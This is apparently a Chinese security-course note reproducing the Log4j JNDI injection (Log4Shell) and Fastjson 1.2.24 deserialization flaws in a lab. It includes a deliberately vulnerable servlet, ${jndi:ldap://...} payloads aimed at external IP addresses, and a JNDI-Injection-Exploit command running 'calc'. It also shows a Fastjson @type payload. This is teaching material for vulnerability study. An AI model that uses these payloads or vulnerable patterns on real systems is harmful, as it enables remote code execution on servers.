第36天:安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

时间轴:

演示案例:

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

Maven的下载及配置:

IDEA配置Maven的超详细步骤_java_脚本之家

Java-三方组件-Log4J&JNDI

JNDI 注入: ( 见图 )
Java Naming and Directory Interface (Java 命名和目录接口 ) , JNDI 提
供统一的客户端 API ,通过不同的服务供应接口 (SPI) 的实现,由管理者将 JNDI API
映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名
服务和目录服务之间的交互。
#Java- 三方组件 -Log4J&JNDI
Log4J :
Apache 的一个开源项目,通过使用 Log4j ,我们可以控制日志信息输送的目的地是控制
台、文件、 GUI 组件,甚至是套接口服务器、 NT 的事件记录器、 UNIX Syslog 守护进
程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能
够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来
灵活地进行配置,而不需要修改应用的代码。
Log4j- 组件安全复现
1 、 Maven 引用 Log4j
2 、接受用户输入值
3 、 Log4j 处理错误输入
4 、利用 jndi-ldap 执行
Test:
String code="test";
String code="{java:os}"; logger.error("{}",code); String exp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

1.创建新项目

2.log4j组件的导入
Jar 仓库:
https://mvnrepos

复制代码
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

https://mvnrepos

搜索log4j,选择第一个

进入后选择2.1.4

复制其maven

maven代码:

复制代码
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

点击上面的

会在外部多加两个库:

改为2.14.0的话,自动会变成2.14.0的包
Log4jTest:

java 复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jTest {

    //使用Log4j 实现错误日志输出
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {

        //如果这个code变量是可控的
        String code="${java:os}";
        logger.error("{}",code);
    }

}

Logger选择此项:

正常情况运行的话:

使用Log4j 实现错误日志输出:


os的意思是系统的意思。
vm是java的虚拟器

测试漏洞

创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。
将log4j的包导入进web.xml去(和上面的方法一样)
Log4jServlet:

java 复制代码
package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;




@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");

        log.error("{}",code);
    }
}

使用[http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}](http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os} "http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}")

正常情况:(在最下面能看到系统)

当遇到一下情况时:

借助文章:
从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
在tomcat下的./conf/service.xml 中重写Connector这个地方 。

java 复制代码
<Connector port="8080" protocol="HTTP/1.1"
         connectionTimeout="30000"
               maxThreads="800"
               minSpareThreads="50"
         redirectPort="8443"
         URIEncoding="ISO-8859-1"
         relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

网上漏洞注入:

Log4j高危漏洞原理及复现_log4j漏洞修复-CSDN博客
JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客

使用xshell生成JNDI进行漏洞注入:



为什么使用JNDI?原因如下:

使用xshell进行操作:

复制代码
1.先更新源

sudo apt update


2.安装java

sudo apt install default-jre

3.切换到目录
cd /


4.使用java打开jar文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下面使用的ip为linux的ip

使用

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173

注意使用版本jdk必须小于jdk8u 121,本人使用112

使用网址 [localhost:8080/Log4jWebDemo_war_exploded/log4j?code={jndi:ldap://47.239.120.145:1389/tv9lqn}](http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%7bjndi:ldap://47.239.120.145:1389/tv9lqn%7d "localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn}")
得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用)

完整代码:

java 复制代码
package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        //code=$(java:os) 输出执行结果
        //code=(java:os) 正常输入
        //${jndi:ldap://47.94.236.117:1389/uyhyw6}
        //${jndi:ldap://xxxx.dns.log}
        //ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
        //什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)
        log.error("{}",code);

        //1、开发源码中引用漏洞组件如log4j
        //2、开发中使用组件的代码(触发漏洞代码)
        //3、可控变量去传递Payload来实现攻击
    }
}

Java-三方组件-FastJson&反射

FastJson :
在前后端数据传输交互中 , 经常会遇到字符串 (String) 与 json,XML 等格式相互转换与
解析,其中 json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据
交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互, Web 输出等各
种应用场景中。 FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和
1.创建FastjsonDemo:

2.配置Fastjson:
https://mvnrepository.com/
版本:
1.2.24

java 复制代码
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>


创建软件包com.xiaodi:
创建User:

java 复制代码
package com.xiaodi;


//给fastjson数据转换测试用的
public class User {
    private String name;
    private Integer age;

    public Integer getAge() {
        return age;
    }

    public String getName() {
        return name;
    }


    public void setAge(Integer age) {
        this.age = age;
        System.out.println(age);
    }

    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }
}

创建Fastjson

java 复制代码
package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
        //System.out.println(u);

        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
          String jsonString = JSONObject.toJSONString(u);
          System.out.println("这就是json格式:"+jsonString);


    }


}

使用json格式输出时候:

Fastjson漏洞造成:

当json转换为对象的时候,翻译从User改为Run从而调用错误。
String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

java 复制代码
package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
        //System.out.println(u);

        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
//        String jsonString = JSONObject.toJSONString(u);
//        System.out.println("这就是json格式:"+jsonString);

       //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
//        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
//        System.out.println(jsonString1);

        //上述对象 -> JSON


        //下面JSON -> 对象


        //String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
        String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)

        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println(jsonObject);

    }


}

漏洞exp文章:

fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致任意命令执行漏洞(cve-2017-18349)-CSDN博客

使用dnslog.cn来判断漏洞;
Fastjson 1.2.47 反序列化(CVE-2017-18349)漏洞复现_漏洞复现 fastjson1.2.47反序列化漏洞-CSDN博客
本文章由李豆豆喵和番薯小羊卷~共同完成。

相关推荐
用户9623779544811 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544816 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star16 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544819 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全